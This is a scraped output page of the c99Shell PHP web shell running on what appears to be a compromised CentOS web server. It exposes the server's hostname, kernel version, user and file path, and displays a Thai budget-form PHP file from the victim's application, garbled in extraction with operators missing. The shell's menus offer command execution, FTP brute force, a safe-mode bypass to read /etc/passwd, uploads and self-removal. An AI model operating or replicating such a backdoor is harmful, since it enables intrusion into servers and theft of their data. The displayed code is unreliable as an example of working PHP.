!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/esa/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_plandetail_t2.php (5.08 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php //echo link_tag('css/nav_esa.css');?>
<!-- <link rel="stylesheet" href="<?=base_url();?>/js/textboxlist_proto/textboxlist.css" type="text/css" media="screen" title="Test Stylesheet" charset="utf-8" />
<script src="<?=base_url();?>/js/textboxlist_proto/protoculous-effects-shrinkvars.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>/js/textboxlist_proto/textboxlist.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>/js/textboxlist_proto/textboxlistauto.js" type="text/javascript" charset="utf-8"></script> -->
<script language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" ></script>
<script type="text/javascript">
/*
document.observe('dom:loaded', function() {
  // init
    tlist1 = new FacebookList('wk11_co', 'wk11_auto');
    var get_user_list_url = "<?=site_url("esa/search/get_ps_list1")?>";        
  // fetch and feed
    new Ajax.Request(get_user_list_url, {
    onSuccess: function(transport) {
        transport.responseText.evalJSON(true).each(function(t){tlist1.autoFeed(t)});
    }
    });
});


Element.addMethods({
    onBoxDispose: function(item,obj) { obj.autoFeed(item.retrieveData('text')); },
    onInputFocus: function(el,obj) { obj.autoShow(); },    
    onInputBlur: function(el,obj) { 
      obj.lastinput = el;
      obj.blurhide = obj.autoHide.bind(obj).delay(0.1);
    },
    filter:function(D,E){var C=[];for(var B=0,A=this.length;B<A;B++){if(D.call(E,this[B],B,this)){C.push(this[B]);}}return C;}
});

*/

    $(document).ready(function(){
        //get_option();

        $('#atb_type1').click(function() {
          $('#atb1').show('slow');
                $('#atb1').show('slow');
                $('#atb2').hide('slow');
        });
        $('#atb_type2').click(function() {
          $('#atb1').show('slow');
                $('#atb2').show('slow');
                $('#atb1').hide('slow');
        });
    });

</script>
<?php $mpj $qu_mpj->row(); ?>
<table border='0' width="60%">
<tr><td>
<?php // งบประมาณในโครงการ
echo form_open($this->config->item('sa_folder').'project/add_edit_budget', array("name" => "myform""id" => "myform"));?>

            <table class='szone2' width="40%" border="0" align="left">
<?php 
if ($qu_sb->num_rows 0) {
    
$index=1;
    
$p 1;
    
$p_index=0;
    foreach (
$qu_sb->result() as $row) {

        if(
$row->p_sb_id != $p_index){
            
$p_index $row->p_sb_id ;
?>
    <tr class="szone">

        <td align="left" >&nbsp;<?php  if($row->p_sb_pid!=0){echo nbs(2); }else{ echo ''; } ?>&nbsp;<font size="2"><?php echo '<b>'.$row->p_sb_name.'<b>';?></b></font></td>
        <td width="60%">
        <input type="hidden" name="sb_pid<?php echo $index;?>" id="sb_pid<?php echo $index;?>" value="<?php echo $row->p_sb_id?>" size="10" />
        <input type="text" name="sb_pidc<?php echo $index;?>" id="sb_pidc<?php echo $index;?>" value="<?php echo $row->p_cost?>" size="10" style="text-align:right"/>&nbsp;<b>บาท</b></td>
    </tr>

<?
            
if($row->sb_id !=NULL){
                
$index++;
?>
    <tr class="szone">

        <td align="left">&nbsp;<?php  if($row->sb_pid!=0){echo nbs(2); }else{ echo ''; } ?>&nbsp;<font size="2"><?php echo $row->sb_name;?></b></font></td>
                <td>
        <input type="hidden" name="sb_pid<?php echo $index;?>" id="sb_pid<?php echo $index;?>" value="<?php echo $row->sb_id?>" size="10" />
        <input type="text" name="sb_pidc<?php echo $index;?>" id="sb_pidc<?php echo $index;?>" value="<?php echo $row->pb_cost?>" size="10" style="text-align:right"/>&nbsp;<b>บาท</b></td>
    </tr>
<?
            
}
        }else{
        
?>
        
    <tr class="szone">

        <td align="left">&nbsp;<?php  if($row->sb_pid!=0){echo nbs(2); }else{ echo ''; } ?>&nbsp;<font size="2"><?php echo $row->sb_name;?></b></font></td>
                <td>
                <input type="hidden" name="sb_pid<?php echo $index;?>" id="sb_pid<?php echo $index;?>" value="<?php echo $row->sb_id?>" size="10" />
                <input type="text" name="sb_pidc<?php echo $index;?>" id="sb_pidc<?php echo $index;?>" value="<?php echo $row->pb_cost?>" size="10" style="text-align:right"/>&nbsp;<b>บาท</b></td>
    </tr>
<?php 
        
}
        
$index++;
    }
 
?>
<input type="hidden" name="sb_pid" value="<?php echo $index?>" />
<input type="hidden" name="mpj_id" value="<?php echo (isset($mpj_id))?$mpj_id:''?>" />
<input type="hidden" name="acp_id" value="<?php echo (isset($acp_id))?$acp_id:''?>" />
     <tr class="szone2">
        <td colspan="3" height="22" align="center" bgcolor="#D1DCF3"><input type="submit" name="add" value="บันทึก" /><?php echo form_error('sb_name'); ?></td>
    </tr>
 <?
} else {
?>
    <tr class="notfound">
        <td colspan="3" height="22" align="center" bgcolor="#D1DCF3">ไม่พบแหล่งเงินงบประมาณ</td>
    </tr>

<?php 
}
?>
                <tr >
                    <td colspan="2" height="22"></td>
                </tr>

            </table>
            <?php echo form_close();?>
</td></tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0149 ]--